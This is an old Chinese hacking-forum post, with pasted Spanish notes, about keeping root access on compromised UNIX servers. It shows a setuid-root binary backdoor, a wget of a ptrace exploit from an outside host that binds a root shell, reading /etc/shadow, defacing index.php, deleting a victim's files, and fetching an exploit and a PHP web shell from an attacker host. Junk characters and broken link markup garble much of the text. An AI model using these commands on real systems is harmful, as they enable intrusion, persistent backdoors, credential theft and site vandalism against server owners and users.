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总结UNIX成为root以后保持权限的方法

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发表于 2005-2-4 23:57 |只看该作者 |倒序浏览
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<><FONT color=#ff0000>by:cnbird</FONT></P>+ n% m& C" D9 V6 y
<>1.</P>" i# G( Y# ?7 x) E
<>[cnbird@localhost tmp]#id</P>
- H  O' S8 J$ j) s; }% b4 B( ^<>uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk)</P>
& {6 J' b( O' F1 c: s1 W5 e! E<>[cnbird@localhost tmp]#cp `which id ` .</P>- W$ P4 I8 O  E
<>[cnbird@localhost tmp]#chown root ./id</P>
2 p$ v: F% G+ I: F<>[cnbird@localhost tmp]#chmod 755 ./id ; chmod u+s ./id</P>8 F4 O8 @8 F. H" q
<>[cnbird@localhost tmp]#ls -l ./id</P>
" Y7 Q3 ]; w) F0 F<>-rwsr-xr-x 1 root root 9264 Mar 8 21:36 ./id*</P>
! ]/ P7 a1 i3 g+ p<>[cnbird@localhost tmp]#exit</P>8 q% f" j0 M9 @; r: u* [# U+ G
<>[cnbird@localhost tmp]$id</P>+ N& R( o) O) e. q* t
<>uid=500(cnbird) gid=500(cnbird) groups=500(cnbird)</P>
6 T5 p# Y3 j1 q: O4 Q$ Y7 m<>[cnbird@localhost tmp]$./id </P>
) y1 {3 s( L3 E; x5 r<>uid=500(cnbird) gid=500(cnbird) euid=0(root) groups=500(cnbird)</P>
8 S5 {0 ?, B" g1 C7 J<>2.利用ptrace成为root的方法</P>
5 Z) f, t9 ]$ e<>[bash]# cd /tmp/; wget <a href="http://delivered.informaticahispana.org/ptrace.c" target="_blank" ><FONT color=#0000ff>http://delivered.informaticahispana.org/ptrace.c</FONT></A>; gcc ptrace.c -o ptrace; chmod -c 777 ptrace; ./ptrace9 Q) }8 T% J, t, s
-&gt; Parent's PID is 2313. Child's PID is 2314.
, |4 f/ r# c" r-&gt; Attaching to 2315...- K8 f  T' G/ s/ D
-&gt; Got the thread!!* Z4 @: L8 i$ Q, n0 J
-&gt; Waiting for the next signal...
. m% s. ?" F3 f8 M0 f+ E1 i-&gt; Injecting shellcode at 0x4000e85d$ L, O: \. x& i, f: o1 \( f
-&gt; Bind root shell on port 24876... =p# t2 Q0 x) w: X
-&gt; Detached from modprobe thread.3 ~. |- y( Q3 i5 J* I
-&gt; Committing suicide.....</P>
; g% r6 r0 Q& t<>[bash]# id- P* [- l2 n7 ~# O7 B
uid=0(root) gid=0(root) groups=0(root)</P>
7 x3 _$ n( y8 F3 l6 C# u( t<>ara ver los dominios que hay en el server:
: ?: U$ v  ?3 L+ @2 g7 y$ \---------------------------------------------------------
" ?. ^* C9 B+ Z4 Z" acat /etc/httpd/conf/httpd.conf|grep ServerName &lt;&lt; Solo salen los dominios9 @$ u% o" w3 W3 p3 r% d
cat /etc/httpd/conf/httpd.conf &lt;&lt; Unicamente los puros dominios
, N4 Z9 ?6 A$ }% J- I& Y, ?: dcat /etc/localdomains &lt;&lt; Unicamente los dominios locales/ _3 U8 q) y5 O% v& ~3 w" K, z
cat /etc/trueuserdomains &lt;&lt; Revela los verdades propietarios de cada dominio
' D3 d2 ~/ U) x9 F& Z$ acat /etc/userdomains &lt;&lt; Este es el mas comun
7 B8 F  P: s" W1 @---------------------------------------------------------</P>
' u. ^: V* y$ I4 s' z8 w% W: A<>ara ver la version de kernel:
1 |$ N5 R0 Z" k; Z9 Z7 X---------------------------------------------------------) H& o- Y. C) W9 w! y  U; X
uname -a &lt;&lt;Te sale algo asi Linux itys.host4u.net 2.4.20....., 2.4.20 viene siendo la version del kernel.
1 R, i  [$ `6 B0 E---------------------------------------------------------</P>
% A$ ?4 I# M% g<>ara modificar un index ya existente:+ A5 [2 X8 T( g: n* u/ r2 k
---------------------------------------------------------! W" T( h' `0 `$ U; ~+ ~
echo "RootBox was OwNz You"&gt;index.php &lt;&lt;sobreescribe el archivo index.php con nuevo contenido
6 |0 |9 @7 Y! E5 N/ V$ s---------------------------------------------------------</P>' z5 V, \  m( X
<>ara subir, compilar, darle permisos de ejecucion y ejecutar un exploit:
( s) i& @2 A% s3 {0 }/ G1 D8 o---------------------------------------------------------
5 i! g3 n, U/ i3 o: t; W* r1 Z7 n) Wcd /tmp/;wget <a href="http://web<a%20href=/" target="_blank" >_</A>atacante/exploit.c"&gt;<FONT color=#0000ff>http://web<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>atacante/exploit.c</FONT></A> &lt;&lt;aqui subimos el exploit
; X% G% w! R' U- X+ }  V$ c/ icd /tmp/;cc exploit.c -o exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui lo compilamos con el nombre de "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado" $ E4 J6 n( \& c- j* X  X
cd /tmp/;chmod -c 777 exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui le damos permisos de ejecucion a "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado": Z" x  v! A7 V1 l6 J
cd /tmp/;./exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui estamos ejecutando a "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado". 1 v# `1 m+ b7 ]1 Q3 J
Hasta aqui termina el proceso para un exploit.
" F+ k3 O' m3 R---------------------------------------------------------</P>
( W$ [+ i+ P# }. O: a! U<>Ver las contrase&ntilde;as encriptadas de todos los usuarios:$ D7 ?! w: _& X& b1 O( W
---------------------------------------------------------. ^% X0 I6 {  }
cat /etc/shadow &lt;&lt;Solo funciona si tienes permisos como root.
3 y, C  U# i5 H: v---------------------------------------------------------</P>
; r1 F5 c% S) o4 B! U+ R! E<>Borrar un Ficher5 s, [' i! O; s/ x$ t
---------------------------------------------------------
  Q+ v* _* Z3 [cd /home/juan/public<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>html/;rm import.htm&lt;&lt;aqui estan borrando con el comando rm, el fichero import.htm7 C( n; q4 b" q
---------------------------------------------------------</P>6 D) C  K+ n3 }/ y# b* o, E
<>Subir un ficher
$ ]- @. T& e6 j3 n( C---------------------------------------------------------+ n: z6 s! h9 Z( R
cd /home/juan/public<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>html/;wget <a href="http://web<a%20href=/" target="_blank" >_</A>atacante/shell.php&lt;<ESTAMOS"><FONT color=#0000ff>http://web<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>atacante/shell.php&lt;&lt;Estamos</FONT></A> subiendo el fichero shell.php</P>( Q- ^/ J' y: L
<>/ A9 }( ?, ]; V. W4 d# X7 g$ T
<CENTER></CENTER>
zan
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